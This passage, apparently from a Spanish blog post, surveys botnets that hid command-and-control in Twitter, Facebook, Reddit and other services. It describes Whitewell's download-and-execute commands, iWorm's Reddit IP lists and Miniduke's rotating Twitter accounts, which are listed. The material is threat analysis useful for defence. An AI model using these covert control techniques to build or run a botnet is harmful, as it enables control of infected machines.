En total se encontraron mas de 35 mensajes de este tipo. Esto nos recuerda al proyecto spamimic en el que se pueden esconder comandos en textos que parezcan ser SPAM. Los atacantes podrian haber preparado un motor similar al de spamimic con un conjunto de keywords y URLs limitados para no sobre pasar los 140 caracteres de un tweet.

Y es que habría muchas formas de esconder mensajes dentro de tweets para mandar comandos a una botnet. En el paper Social networking for Botnet Command and Control proponen una bot con hasta 300 keywords que son diferentes para cada dia del mes. De esta manera los mensajes de twitter tendrian una primera palabra correspondiente al dia del mes del estilo:

  • facebook
  • hotels
  • walmart
  • ...

... y una segunda palabra con el comando en sí:

  • browse
  • shutdown
  • dos
  • ...

Esta es una idea, pero las formas de esconderse son infinitas.



Facebook (Whitewell)

El 31 de Octubre de 2009 Symantec publicó la existencia de un malware/botnet que utilizaba Facebook como canal de control.

El botmaster debia logarse a su cuenta y añadir una entrada con un título en concreto. En la siguiente imagen el comando era el titulo: "Wells":

Los bots de esta botnet podían recibir al menos los siguientes comandos:

  • Wells: Hace que el equipo infectado añada un mensaje con la fecha y la hora a la conversacion y espere.
  • WebServer: Tiene como parametro una URL (codificada en base64) a la que la victima se conectara y desde la que el bot puede recibir comandos.
  • White: Tiene como parametro la URL (codificada en base64) de un ejecutable que sera descargado y ejecutado.

La opcion webserver redirige al bot a una URL en que se encontrará un simple web server en la que la página de descarga incluya un comnetario con un comando. Por ejemplo el comando "", que es un comentario HTML que significa HELLO en BASE64 y le indica que al bot que "bienvenido a la botnet". Posteriormente el bot podra recibir los siguientes comandos, todos ellos codificados en BASE64:

  • Pslist --> Envía de vuelta la lista de procesos en ejecución
  • Pskill --> Mata un proceso
  • Localpath --> Devuelve la ruta local del ejecutable malicioso
  • http:// --> Descarga un fichero.
  • exit --> Desactiva el troyano.

Para más información ver este enlace.



iWorm botnet

Se hizo publica el pasado 2 de octubre. y se sabe que infecto hasta a 18500 equipos.

En el caso de iworm, el malware seguia usando servidores C&C de la manera tradicional, pero la forma de publicitarlos era publicar sus IPs en un entrada de reddit del tema "minecraftserverlists" con el nombre de usuario "vtnhiaovyd":

El bot leía el listado de IPs cada 5 minutos y escogía una de las 29 IPs al azar para conectarse a ella.



Miniduke

El 20 de Mayo de 2014 se informaba de que Miniduke tambien tenia un module que consultaba Twitter para obtener servidores C&C reales a los que conectarse.

El funcionamiento de Miniduke era bastante más complejo que los anteriores. Inicialmente buscaba en la cuenta @FloydLSchwartz tweets con el tag X))) y si los encontraba leia las IPs que se incluian a continuación y los utilizaba como servidores C&C.

En caso de no encontrar ninguna IP válida usando este método, cambiaba la cuenta de twitter en la que buscaba las IPs de los servidores C&C. Esta nueva cuenta cambiaba cada semana siguiendo un algoritmo basado en la fecha. Las siguientes son las cuentas que se usaron en 2013 y 2014:

AA2ADcAOAA
AA2ADQAN
AA2ADYA
AA4ADAAN
AA4ADIAM
AA4ADQAMg
AA5ADkANA
AAtADEAMA
AAtADEAOAA
AAtADIA
AAxAC0AM
AAxADgAMgA
AAxADIA
AAxADQA
AAxADQAM
AAyADAAMAA
AAyADkANw
AAzADYANwA
gA0ADAANAA
gA0ADIA
gA0ADQAN
gA0ADYAMw
gA1AC0A
gA1ADYAMg
gA3ADgAO
gAtADEAMw
gAwADMA
gAwADUANQ
gAxADcA
gAxADEAO
gAxADIAM
gAxADMAMwA
gAyADMANA
gAzADgANgA
QA0ADMA
QA1ADcA
QA1ADgAM
QA1ADQAMgA
QA1ADUAOA
QA2ADAAMQ
QA2ADEAMg
QA2ADkA
QA2ADkAMAA
QA3ADkAMgA
QA3ADkAN
QA3ADQAMQA
QA3ADUAMg
QA3ADYANw
QA4AC0A
QA4AC0AMQA
QA4ADcA
QA4ADYANw
QA5ADIANAA
QA5ADMA
QA5ADQA
QAtADEAN
QAtADEANwA
QAtADgAMAA
QAtADgAMw
QAtADIAMA
QAwADQA
QAxADEA
QAxADEAMQA
QAxADEAN
QAxADgAOAA
QAxADkA
QAxADMAMwA
QAxADQA
QAxADQANAA
QAxADUAN
QAyADAAN
QAyADAANA
QAyADEAM
QAyADgAM
QAyADMAMQA
QAzADAAN
QAzADcAOA
QAzADgA
QAzADgAM
QAzADgAOAA
QAzADIANw
wA1ADcAN
wA1ADMAO
wA2AC0ANw
wA2ADcAOA
wA2ADgAOAA
wA4ADEAOQ
wAtADEAMAA
wAtADQAOA
wAwADQAM
wAxADEA
wAxADMA
wAyADQA
wAzADQAM
wAzADQAO
wAzADUA

La unica característica en comun es que el segundo era siempre una "A" mayusucula.

Una vez que el bot se conectaba a esa cuenta, miniduke buscaba URLs terminadas en XHtml, URLs que renombraba terminando su direccion con ".PHP".

El caso explicado en este enlace es similar. En este caso se consultaba cual habia sido el Trending Topic del día y a partir de éste se generaba un nombre de dominio, que sería el C&C de dos días después.



Otros casos

Por ultimo comentar que tambien se han encontrado casos de botnets se conectaban a una cuenta de Evernote o bien a una cuenta de Google Docs.

También recomiendo leer este post donde se habla de malware que utiliza otro metodos para obtener información de sus servidores C&C.

En este otro enlace explican el caso de un malware que usaba Google Groups como servidor C&C.